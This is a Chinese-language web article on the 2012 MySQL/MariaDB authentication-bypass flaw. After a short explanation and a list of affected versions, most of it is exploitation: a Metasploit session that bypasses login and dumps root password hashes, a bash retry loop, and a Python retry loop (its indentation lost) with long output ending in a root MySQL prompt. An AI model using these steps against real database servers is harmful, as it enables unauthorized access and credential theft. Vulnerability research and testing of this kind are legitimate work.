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Mysql身份認(rèn)證漏洞的分析以及利用

  發(fā)布時(shí)間:2012-06-12 10:42:56   作者:佚名   我要評(píng)論
本文分析了Mysql的身份認(rèn)證漏洞
當(dāng)連接MariaDB/MySQL時(shí),輸入的密碼會(huì)與期望的正確密碼比較,由于不正確的處理,會(huì)導(dǎo)致即便是memcmp()返回一個(gè)非零值,也會(huì)使MySQL認(rèn)為兩個(gè)密碼是相同的。
也就是說(shuō)只要知道用戶名,不斷嘗試就能夠直接登入SQL數(shù)據(jù)庫(kù)。按照公告說(shuō)法大約256次就能夠蒙對(duì)一次。而且漏洞利用工具已經(jīng)出現(xiàn)。
受影響的產(chǎn)品:
All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are
vulnerable.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
網(wǎng)上已經(jīng)出了metasploit版本的相應(yīng)利用工具
利用方法如下

復(fù)制代碼
代碼如下:

$ msfconsole
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf auxiliary(mysql_authbypass_hashdump) > set USERNAME root
msf auxiliary(mysql_authbypass_hashdump) > set RHOSTS 127.0.0.1
msf auxiliary(mysql_authbypass_hashdump) > run
[+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test
[*] 127.0.0.1:3306 Authentication bypass is 10% complete
[*] 127.0.0.1:3306 Authentication bypass is 20% complete
[*] 127.0.0.1:3306 Successfully bypassed authentication after 205 attempts
[+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes...
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*C8998584D8AA12421F29BB41132A288CD6829A6D
[+] 127.0.0.1:3306 Saving HashString as Loot: debian-sys-maint:*C59FFB311C358B4EFD4F0B82D9A03CBD77DC7C89
[*] 127.0.0.1:3306 Hash Table has been saved: 20120611013537_default_127.0.0.1_mysql.hashes_889573.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

測(cè)試方法2:
$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
mysql>
測(cè)試方法3:

復(fù)制代碼
代碼如下:

#!/usr/bin/python
import subprocess
while 1:
subprocess.Popen("mysql -u root mysql --password=blah", shell=True).wait()
如下:
relik@stronghold:~# python mysql_bypass.py
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
ERROR 1045 (28000): Access denied for user ‘root’@'localhost’ (using password: YES)
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 24598 chabaoo.cn
Server version: 5.1.62-0ubuntu0.11.10.1 (Ubuntu)
Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the current input statement.
mysql>

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